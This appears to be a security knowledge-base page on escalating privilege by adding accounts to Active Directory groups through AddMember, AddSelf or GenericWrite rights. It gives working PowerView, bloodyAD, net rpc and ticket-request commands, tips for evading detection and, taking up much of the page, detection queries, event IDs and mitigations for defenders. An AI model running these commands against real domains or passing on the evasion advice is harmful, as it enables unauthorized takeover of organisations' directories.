How it works
Rights in Active Directory are mostly given to groups. Whoever controls a group's member list controls who has the group's rights. The member list is the member attribute of the group object, and write access to it is an ordinary permission that can be delegated like any other.
Three kinds of access allow a change:
| Right | ACE | Allows |
|---|---|---|
| AddMember | Write property (0x20) on member, GUID bf9679c0-0de6-11d0-a285-00aa003049e2 |
Adding and removing any principal |
| AddSelf | Validated write (0x8) with the same GUID, the Self-Membership right |
Adding and removing the caller's own account only |
| GenericWrite, GenericAll | All property writes, or full control | Everything above |
Two properties of groups make this a strong attack path:
- Nesting. A group's rights include those of every group it is a member of. Adding an account to an unremarkable group that is nested in a server administrators group, or in Domain Admins, gives the same result as adding it to the privileged group directly. The domain controller puts the nested group SIDs into the ticket as well.
- Membership is evaluated at sign-in. Group SIDs are written into the PAC of the TGT when it is issued. A new membership needs a new TGT, and a removed membership stays in tickets that already exist until they expire.
The highest value targets are the groups that administer the directory:
| Group | SID | Scope of control |
|---|---|---|
| Domain Admins | S-1-5-21-<domain>-512 |
The domain, through default membership of Administrators on every domain-joined machine |
| Enterprise Admins | S-1-5-21-<root domain>-519 |
Every domain in the forest. Exists only in the forest root domain |
| Schema Admins | S-1-5-21-<root domain>-518 |
The schema shared by the whole forest |
| Administrators | S-1-5-32-544 |
On a domain controller, the domain itself |
The DACLs of these groups are reset from AdminSDHolder every hour, so a stray AddMember right on them is rare unless AdminSDHolder itself was changed. In practice attackers find the right on groups that are not protected but are still powerful: groups nested in a privileged group, groups that are local administrators on servers, groups with rights on GPOs or OUs, application administration groups. The built-in operator groups have their own pages, for example Account Operators, whose members can change the membership of most unprotected groups.
Prerequisites
- Control of a principal with AddMember or AddSelf on the target group, or
GenericWriteorGenericAllon it. The right can come through a nested group or an inheritable ACE on the OU. - LDAP access to a domain controller, or SMB (445) for the SAMR-based tools.
- The ability to sign in again as the added account so that a new TGT is issued.
- For the scope rules: a universal or global group accepts only members its scope allows. A domain local group accepts members from any trusted domain.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find groups the principal can change
BloodHound shows AddMember, AddSelf, GenericWrite and GenericAll edges to groups, and the MemberOf chains that show where a group is nested. For one group:
# PowerView: who can write the member attribute of the group
Get-DomainObjectAcl -Identity 'Server Admins' -ResolveGUIDs |
Where-Object { $_.ObjectAceType -eq 'member' -or
$_.ActiveDirectoryRights -match 'GenericAll|GenericWrite' } |
Select-Object SecurityIdentifier, ActiveDirectoryRights, ObjectAceType, IsInherited
# What the group is nested in
Get-ADPrincipalGroupMembership -Identity 'Server Admins' | Select-Object Name, GroupScope
2. Add the member
Any of these works; all of them write the same attribute. From Windows:
# ActiveDirectory module
Add-ADGroupMember -Identity 'Server Admins' -Members alice
# PowerView
Add-DomainGroupMember -Identity 'Server Admins' -Members alice -Verbose
net group "Server Admins" alice /add /domain
From Linux:
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
add groupMember 'Server Admins' alice
net rpc group addmem 'Server Admins' alice \
-U 'corp.example.com/alice%Passw0rd!' -S DC01.corp.example.com
With AddSelf the commands are the same, but the member must be the account that runs them.
3. Confirm and get a new ticket
Get-ADGroupMember -Identity 'Server Admins' -Recursive |
Select-Object SamAccountName, objectClass
The existing logon session does not have the group. On Windows, purge the ticket cache and reconnect, or sign in again; on Linux, request a new TGT:
klist purge
whoami /groups
getTGT.py -dc-ip 192.0.2.10 'corp.example.com/alice:Passw0rd!'
export KRB5CCNAME=$PWD/alice.ccache
4. Use the group's rights
What follows depends on the group: administrator access to the servers it manages, a GPO it can edit, or, for a Tier 0 group, replication of all credentials (DCSync).
5. Remove the member
Operators remove the account once they have what they came for, often after creating a less visible foothold with the group's rights:
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
remove groupMember 'Server Admins' alice
Remove-ADGroupMember -Identity 'Server Admins' -Members alice -Confirm:$false
Impact
The attacker holds the group's rights for as long as the membership, or a ticket issued during it, lasts. For Domain Admins, Enterprise Admins or Administrators that is control of the domain or forest: every domain admin can read all credentials, change any object and sign in to domain controllers. For other groups it is whatever the group was built for, which is frequently administrator access to a class of servers and the credentials found there.
Membership changes are also used for persistence. An account added to a little-known nested group keeps its access through password resets of every administrator, and a membership added and removed within minutes is enough to create accounts, permissions or tickets that outlive it.
OPSEC and artifacts
- Indirect membership. Adding the account to a group nested several levels below the privileged one avoids alerts that watch only the well-known groups. The change is logged all the same: event 4728, 4732 or 4756 by group scope, on the domain controller that processed it, with the actor, the member SID and the group SID. These events need no SACL.
- Adding a group or a computer instead of a user. A group or machine account as member is less conspicuous in a member list than a user. The event records the member's SID either way.
- Short membership. Add, get a ticket, remove. The removal writes event 4729, 4733 or 4757, and the ticket keeps the group until it expires, so the pair of events brackets the start of the access, not its end.
- Attribute-level record. With Directory Service Changes auditing and a SACL on the group, event 5136 records the
membervalue that was added. Event 4662 with mask0x20and thememberGUID appears where Directory Service Access auditing covers the group. - Use of the new rights. The first logon with the new membership to a server writes 4624 and, for administrative groups, 4672 (special privileges assigned) on that host.
- Collector coverage. The event is written on the domain controller that handled the change. A collector that misses one domain controller misses the change.
Detection
Group management events are among the most reliable in the Security log, so the difficulty is coverage and context, not visibility.
- Additions to Tier 0 groups. Any 4728, 4732 or 4756 where the group SID is one of the built-in privileged groups. Match on the SID, not the name. The privileged group membership change rules cover the administrative, operator and remote access groups.
- Additions to groups nested in Tier 0. Keep a list of every group with a membership path into a privileged group and alert on changes to those as well.
- Additions to groups that grant administration elsewhere. For example the group that vSphere treats as administrators, covered by the ESX Admins rules.
- Actor and timing. A change made by an account that does not normally manage groups, outside the change process, or an addition followed by a removal within a short time.
- Self-addition. The subject and the member are the same account.
// Members added to Domain Admins, Enterprise Admins, Schema Admins or Administrators
SecurityEvent
| where EventID in (4728, 4732, 4756)
| where TargetSid endswith "-512" or TargetSid endswith "-519" or TargetSid endswith "-518"
or TargetSid == "S-1-5-32-544"
| project TimeGenerated, Computer, Actor = SubjectUserName, ActorSid = SubjectUserSid,
Group = TargetUserName, GroupSid = TargetSid, MemberSid, MemberName
| order by TimeGenerated desc
Event 4732 is also written on member servers and workstations for their local groups. To watch the domain's built-in Administrators group, keep only the events that come from domain controllers. Compare current membership with an approved list on a schedule too: the events cover only changes made while they were collected.
Mitigation
- Limit who can change privileged and nested groups. Review the DACL and owner of every group that has a path to Tier 0, and remove write access to
member,GenericWriteandGenericAllfrom principals that are not Tier 0 administrators. - Flatten nesting into privileged groups. Each group nested in Domain Admins or Administrators is another object whose permissions must be as tight as the privileged group's own. The Active Directory hardening guide covers the review of privileged groups.
- Keep Tier 0 groups small and empty where possible. Schema Admins and Enterprise Admins can stay empty until a change needs them. Use time-bound membership for the rest.
- Protect the template. The hourly AdminSDHolder process only helps if AdminSDHolder's own DACL is clean. See the AdminSDHolder backdoor page.
- Find the paths. Rights over groups are edges in a graph; the attack path analysis walkthrough shows how to list every account that can reach a privileged group through them.
- Audit group management on every domain controller and forward the events centrally. The audit policy guide lists the subcategory and the SACL for attribute-level records.
- When responding, remove the member, then treat the account's tickets as valid until they expire, and review everything done by that account and by the actor while the membership existed.
Detection rules for this attack
Log events to collect
FAQ
What is the difference between AddMember and AddSelf?
AddMember is write access to the group's member attribute: the holder can add or remove any principal. AddSelf is the Self-Membership validated write: the holder can add or remove only its own account. Both use the same attribute GUID and differ in the access mask, 0x20 for the property write and 0x8 for the validated write.
Why does a new group membership not work immediately?
Kerberos carries group membership in the ticket-granting ticket, which is built when the user signs in. A ticket issued before the change does not contain the new group. The account has to get a new ticket, by signing in again or purging its ticket cache, before the membership takes effect.
Which events show a group membership change?
On the domain controller that processed it: 4728 for a global group, 4732 for a domain local or built-in group and 4756 for a universal group. The removal events are 4729, 4733 and 4757. They come from Audit Security Group Management and need no SACL on the group. The event names the actor, the member and the group with their SIDs.
If an attacker removes their account from the group again, is the access gone?
Not right away. A ticket issued while the account was a member keeps the group in it until the ticket expires, by default up to ten hours and renewable for seven days. Anything the attacker did with the membership, such as creating accounts or changing permissions, also remains.
References
- Account Manipulation: Additional Local or Domain Groups, T1098.007 (MITRE ATT&CK)
- Audit Security Group Management (Microsoft Learn)
- 4728(S): A member was added to a security-enabled global group (Microsoft Learn)
- Self-Membership validated write (Microsoft Learn)
- Active Directory security groups (Microsoft Learn)
- bloodyAD user guide
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.